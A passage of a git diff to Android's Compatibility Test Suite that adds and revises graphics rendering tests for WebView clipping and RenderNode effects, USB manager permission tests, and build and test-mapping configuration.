+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setAntiAlias(true);
+                    paint.setColor(Color.BLUE);
+                    canvas.drawRoundRect(0, 0, width, height, ActivityTestBase.TEST_WIDTH / 4,
+                            ActivityTestBase.TEST_HEIGHT / 4, paint);
+                }, false)
+                // verify against solid color webview, which applies a rounded rect clip
+                .addLayout(R.layout.webview_canvas_rrect_clip, (ViewInitializer) view -> {
+                    WebView webview = view.requireViewById(R.id.webview_canvas_rrect_clip);
+                    WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+                    helper.loadData("<body style=\"background-color:blue\">");
+                }, true, hwFence)
+                .runWithComparer(new MSSIMComparer(0.90));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index 1c3f038..c38ff1c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -49,6 +49,22 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class PathClippingTests extends ActivityTestBase {
+    private static final String BLUE_RED_HTML =
+            "<html><head>"
+            + "    <style type=\"text/css\">"
+            + "        .container {"
+            + "            display: grid;"
+            + "            grid-template-columns: 50% 50%;"
+            + "            grid-template-rows: 100%;"
+            + "            margin: 0;"
+            + "        }"
+            + "    </style>"
+            + "</head><body class=\"container\">"
+            + "    <div style=\"background-color:blue\"></div>"
+            + "    <div style=\"background-color:red\"></div>"
+            + "</body></html>";
+
+
     // draw circle with hole in it, with stroked circle
     static final CanvasClient sTorusDrawCanvasClient = (canvas, width, height) -> {
         Paint paint = new Paint();
@@ -190,12 +206,12 @@
                 .runWithComparer(new MSSIMComparer(0.90));
     }
 
-    private ViewInitializer initBlueWebView(final CountDownLatch fence) {
+    private ViewInitializer initWebView(final CountDownLatch fence) {
         return view -> {
             WebView webview = (WebView)view.findViewById(R.id.webview);
             assertNotNull(webview);
             WebViewReadyHelper helper = new WebViewReadyHelper(webview, fence);
-            helper.loadData("<body style=\"background-color:blue\">");
+            helper.loadData(BLUE_RED_HTML);
         };
     }
 
@@ -208,18 +224,30 @@
         CountDownLatch hwFence = new CountDownLatch(1);
         CountDownLatch swFence = new CountDownLatch(1);
         createTest()
-                // golden client - draw a simple non-AA circle
+                // golden client - draw a non-AA circle. left half is blue and right half is red.
                 .addCanvasClient((canvas, width, height) -> {
                     Paint paint = new Paint();
                     paint.setAntiAlias(false);
+
+                    int halfWidth = width / 2;
+
+                    canvas.save();
                     paint.setColor(Color.BLUE);
+                    canvas.clipRect(0, 0, halfWidth, height);
                     canvas.drawOval(0, 0, width, height, paint);
+                    canvas.restore();
+
+                    canvas.save();
+                    paint.setColor(Color.RED);
+                    canvas.clipRect(halfWidth, 0, width, height);
+                    canvas.drawOval(0, 0, width, height, paint);
+                    canvas.restore();
                 }, false)
-                // verify against solid color webview, clipped to its parent oval
+                // verify against webview drawing blue and red rects, clipped to its parent oval
                 .addLayout(R.layout.circle_clipped_webview,
-                        initBlueWebView(hwFence), true, hwFence)
+                        initWebView(hwFence), true, hwFence)
                 .addLayout(R.layout.circle_clipped_webview,
-                        initBlueWebView(swFence), false, swFence)
+                        initWebView(swFence), false, swFence)
                 .runWithComparer(new MSSIMComparer(0.84f));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index fa44b78..1127589 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -21,17 +21,35 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Bitmap;
+import android.graphics.BlendMode;
+import android.graphics.BlendModeColorFilter;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorFilter;
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
+import android.graphics.LinearGradient;
 import android.graphics.Paint;
+import android.graphics.Point;
 import android.graphics.RecordingCanvas;
 import android.graphics.Rect;
+import android.graphics.RenderEffect;
 import android.graphics.RenderNode;
+import android.graphics.Shader;
+import android.graphics.drawable.Drawable;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.BlurPixelVerifier;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.RegionVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.FrameLayout;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -364,4 +382,460 @@
         renderNode.setCameraDistance(100f);
         assertEquals(100f, renderNode.getCameraDistance(), 0.0f);
     }
+
+    @Test
+    public void testBitmapRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        bitmap.eraseColor(Color.BLUE);
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(RenderEffect.createBitmapEffect(bitmap));
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            // must have at least 1 drawing instruction
+            recordingCanvas.drawColor(Color.TRANSPARENT);
+            renderNode.endRecording();
+        }
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testOffsetImplicitInputRenderEffect() {
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(offsetEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.BLUE);
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint();
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        new Rect(
+                                                0,
+                                                0,
+                                                TEST_WIDTH - 1,
+                                                offsetY - 1
+                                        ),
+                                        new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                0,
+                                                0,
+                                                offsetX - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.RED)
+                        )
+            );
+    }
+
+    @Test
+    public void testColorFilterRenderEffectImplicitInput() {
+        RenderEffect colorFilterEffect = RenderEffect.createColorFilterEffect(
+                new BlendModeColorFilter(Color.RED, BlendMode.SRC_OVER));
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.BLUE);
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
+
+    @Test
+    public void testBlendModeRenderEffectImplicitInput() {
+        Bitmap srcBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        srcBitmap.eraseColor(Color.BLUE);
+
+        Bitmap dstBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        dstBitmap.eraseColor(Color.RED);
+
+        RenderEffect colorFilterEffect = RenderEffect.createBlendModeEffect(
+                RenderEffect.createBitmapEffect(dstBitmap),
+                RenderEffect.createBitmapEffect(srcBitmap),
+                BlendMode.SRC
+        );
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawColor(Color.TRANSPARENT);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testColorFilterRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(
+                bitmap, null, new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT));
+
+        RenderEffect colorFilterEffect = RenderEffect.createColorFilterEffect(
+                new BlendModeColorFilter(Color.RED, BlendMode.SRC_OVER), bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint renderNodePaint = new Paint();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, renderNodePaint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
+
+    @Test
+    public void testOffsetRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, bitmap.getWidth(), bitmap.getHeight(), paint);
+
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(bitmap);
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY, bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(offsetEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint();
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        new Rect(0, 0, TEST_WIDTH - 1, offsetY - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(0, 0, offsetX - 1, TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+            );
+    }
+
+    @Test
+    public void testViewRenderNodeBlurEffect() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addLayout(R.layout.frame_layout, (view) -> {
+                    FrameLayout root = view.findViewById(R.id.frame_layout);
+                    View innerView = new View(view.getContext());
+                    innerView.setLayoutParams(
+                            new FrameLayout.LayoutParams(TEST_WIDTH, TEST_HEIGHT));
+                    innerView.setBackground(new TestDrawable());
+                    root.addView(innerView);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    private static class TestDrawable extends Drawable {
+
+        private final Paint mPaint = new Paint();
+
+        @Override
+        public void draw(@NonNull Canvas canvas) {
+            mPaint.setColor(Color.WHITE);
+
+            Rect rect = getBounds();
+            canvas.drawRect(rect, mPaint);
+            mPaint.setColor(Color.BLUE);
+
+            canvas.drawRect(
+                    10,
+                    10,
+                    rect.right - 10,
+                    rect.bottom - 10,
+                    mPaint
+            );
+        }
+
+        @Override
+        public void setAlpha(int alpha) {
+            // No-op
+        }
+
+        @Override
+        public void setColorFilter(@Nullable ColorFilter colorFilter) {
+            // No-op
+        }
+
+        @Override
+        public int getOpacity() {
+            return 0;
+        }
+    }
+
+    @Test
+    public void testBlurRenderEffect() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(
+                RenderEffect.createBlurEffect(
+                        blurRadius,
+                        blurRadius,
+                        null,
+                        Shader.TileMode.DECAL
+                )
+        );
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas canvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.WHITE);
+            canvas.drawRect(fullBounds, paint);
+
+            paint.setColor(Color.BLUE);
+
+            canvas.drawRect(insetBounds, paint);
+            renderNode.endRecording();
+        }
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    @Test
+    public void testChainRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, bitmap.getWidth(), bitmap.getHeight(), paint);
+
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(bitmap);
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY);
+        RenderEffect chainEffect = RenderEffect.createChainEffect(offsetEffect, bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(chainEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                    new Rect(
+                                            0,
+                                            0,
+                                            TEST_WIDTH - 1,
+                                            offsetY - 1
+                                    ),
+                                    new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(0, 0, offsetX - 1, TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+            );
+    }
+
+    @Test
+    public void testShaderRenderEffect() {
+        LinearGradient gradient = new LinearGradient(
+                0f, 0f,
+                0f, TEST_HEIGHT,
+                new int[] { Color.RED, Color.BLUE },
+                null,
+                Shader.TileMode.CLAMP
+        );
+
+        RenderEffect shaderEffect = RenderEffect.createShaderEffect(gradient);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(shaderEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                    new SamplePointVerifier(
+                            new Point[] {
+                                    new Point(0, 0),
+                                    new Point(0, TEST_HEIGHT - 1)
+                            },
+                            new int[] { Color.RED, Color.BLUE }
+                    )
+            );
+    }
+
+
+    @Test
+    public void testBlurShaderLargeRadiiEdgeReplication() {
+        final int blurRadius = 200;
+        final int left = 0;
+        final int top = 0;
+        final int right = TEST_WIDTH;
+        final int bottom = TEST_HEIGHT;
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(
+                RenderEffect.createBlurEffect(
+                        blurRadius,
+                        blurRadius,
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+        renderNode.setPosition(left, top, right, bottom);
+        {
+            Canvas canvas = renderNode.beginRecording();
+            Paint blurPaint = new Paint();
+            blurPaint.setColor(Color.BLUE);
+            canvas.save();
+            canvas.clipRect(left, top, right, bottom);
+            canvas.drawRect(left, top, right, bottom, blurPaint);
+            canvas.restore();
+            renderNode.endRecording();
+        }
+        // Ensure that blurring with large blur radii with clipped content shows a solid
+        // blur square.
+        // Previously blur radii that were very large would end up blurring pixels outside
+        // of the source with transparent leading to larger blur radii actually being less
+        // blurred than smaller radii.
+        // Because the internal SkTileMode is set to kClamp, the edges of the source are used in
+        // blur kernels that extend beyond the bounds of the source
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java
new file mode 100644
index 0000000..0d925a8
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Path;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.util.AttributeSet;
+import android.webkit.WebView;
+
+public class WebviewCanvasRRectClip extends WebView {
+    final Path mClipPath = new Path();
+    public WebviewCanvasRRectClip(Context context) {
+        this(context, null);
+    }
+
+    public WebviewCanvasRRectClip(Context context, AttributeSet attrs) {
+        this(context, attrs, 0);
+    }
+
+    public WebviewCanvasRRectClip(Context context, AttributeSet attrs, int defStyleAttr) {
+        this(context, attrs, defStyleAttr, 0);
+    }
+
+    public WebviewCanvasRRectClip(
+            Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        canvas.save();
+
+        mClipPath.reset();
+        mClipPath.addRoundRect(0, 0, getWidth(), getHeight(), ActivityTestBase.TEST_WIDTH / 4,
+                ActivityTestBase.TEST_HEIGHT / 4, Path.Direction.CW);
+        canvas.clipPath(mClipPath);
+
+        super.onDraw(canvas);
+
+        canvas.restore();
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
new file mode 100644
index 0000000..0c4701f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.util
+
+/**
+ * Helper to use ThrowNew from JNI to throw an AssertionError.
+ *
+ * ThrowNew calls <init>(String), but that constructor for AssertionError is
+ * private. In this case, there is no Throwable cause, so simplify the native
+ * code.
+ */
+class AssertionError(msg: String) : java.lang.AssertionError(msg, null)
diff --git a/tests/tests/uirendering27/Android.bp b/tests/tests/uirendering27/Android.bp
index 1db958c..07bc405 100644
--- a/tests/tests/uirendering27/Android.bp
+++ b/tests/tests/uirendering27/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUiRenderingTestCases27",
     sdk_version: "test_current",
diff --git a/tests/tests/uirendering27/TEST_MAPPING b/tests/tests/uirendering27/TEST_MAPPING
index fa55ba8..318d99c 100644
--- a/tests/tests/uirendering27/TEST_MAPPING
+++ b/tests/tests/uirendering27/TEST_MAPPING
@@ -4,4 +4,4 @@
       "name": "CtsUiRenderingTestCases27"
     }
   ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/usb/Android.bp b/tests/tests/usb/Android.bp
index 2a93d18..5195233 100644
--- a/tests/tests/usb/Android.bp
+++ b/tests/tests/usb/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUsbManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/usb/AndroidTest.xml b/tests/tests/usb/AndroidTest.xml
index e4633e6..fb75184 100644
--- a/tests/tests/usb/AndroidTest.xml
+++ b/tests/tests/usb/AndroidTest.xml
@@ -25,5 +25,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.usb.cts" />
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/tests/usb/TEST_MAPPING b/tests/tests/usb/TEST_MAPPING
new file mode 100644
index 0000000..cb22eb9
--- /dev/null
+++ b/tests/tests/usb/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUsbManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
index 3443997..7011a4a 100644
--- a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
+++ b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
@@ -25,6 +25,9 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import java.util.List;
+import java.util.ArrayList;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +46,9 @@
     private UiAutomation mUiAutomation =
         InstrumentationRegistry.getInstrumentation().getUiAutomation();
 
+    // Update latest HAL version here
+    private int USB_HAL_LATEST_VERSION = UsbManager.USB_HAL_V1_3;
+
     @Before
     public void setUp() {
         Assert.assertNotNull(mUsbManagerSys);
@@ -79,4 +85,62 @@
             Log.d(TAG, "Expected SecurityException on setCurrentFunctions");
         }
     }
+
+    /**
+     * Verify NO SecurityException.
+     */
+    @Test
+    public void test_UsbApiForUsbGadgetHal() throws Exception {
+        // Adopt MANAGE_USB permission.
+        mUiAutomation.adoptShellPermissionIdentity(MANAGE_USB);
+
+        // Should pass with permission.
+        int version = mUsbManagerSys.getGadgetHalVersion();
+        int usbBandwidth = mUsbManagerSys.getUsbBandwidth();
+        if (version > UsbManager.GADGET_HAL_V1_1) {
+            Assert.assertTrue(usbBandwidth > UsbManager.USB_DATA_TRANSFER_RATE_UNKNOWN);
+        } else {
+            Assert.assertEquals(usbBandwidth, UsbManager.USB_DATA_TRANSFER_RATE_UNKNOWN);
+        }
+
+        // Drop MANAGE_USB permission.
+        mUiAutomation.dropShellPermissionIdentity();
+
+        try {
+            mUsbManagerSys.getGadgetHalVersion();
+            Assert.fail("Expecting SecurityException on getGadgetHalVersion.");
+        } catch (SecurityException secEx) {
+            Log.d(TAG, "Expected SecurityException on getGadgetHalVersion.");
+        }
+    }
+
+    /**
+     * Verify NO SecurityException.
+     */
+    @Test
+    public void test_UsbApiForUsbHal() throws Exception {
+        // Adopt MANAGE_USB permission.
+        mUiAutomation.adoptShellPermissionIdentity(MANAGE_USB);
+
+        // Should pass with permission.
+        int version = mUsbManagerSys.getUsbHalVersion();
+        if (version == USB_HAL_LATEST_VERSION) {
+            Log.d(TAG, "Running with the latest HAL version");
+        } else if (version == UsbManager.USB_HAL_NOT_SUPPORTED) {
+            Log.d(TAG, "Not supported HAL version");
+        }
+        else {
+            Log.d(TAG, "Not the latest HAL version");
+        }
+
+        // Drop MANAGE_USB permission.
+        mUiAutomation.dropShellPermissionIdentity();
+
+        try {
+            mUsbManagerSys.getUsbHalVersion();
+            Assert.fail("Expecting SecurityException on getUsbHalVersion.");
+        } catch (SecurityException secEx) {
+            Log.d(TAG, "Expected SecurityException on getUsbHalVersion.");
+        }
+    }
 }
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 0c5de3a..2e27d63 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUtilTestCases",
     defaults: ["cts_defaults"],
@@ -23,6 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-statsd",
     ],
     libs: ["android.test.runner"],
     static_libs: [
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 77ab380..0e71890 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.READ_LOGS" />
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/util/AndroidTest.xml b/tests/tests/util/AndroidTest.xml
index b12f16e..5af112e 100644
--- a/tests/tests/util/AndroidTest.xml
+++ b/tests/tests/util/AndroidTest.xml
@@ -28,4 +28,8 @@
         <option name="runtime-hint" value="9m" />
         <option name="hidden-api-checks" value="false" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
+    </object>
 </configuration>
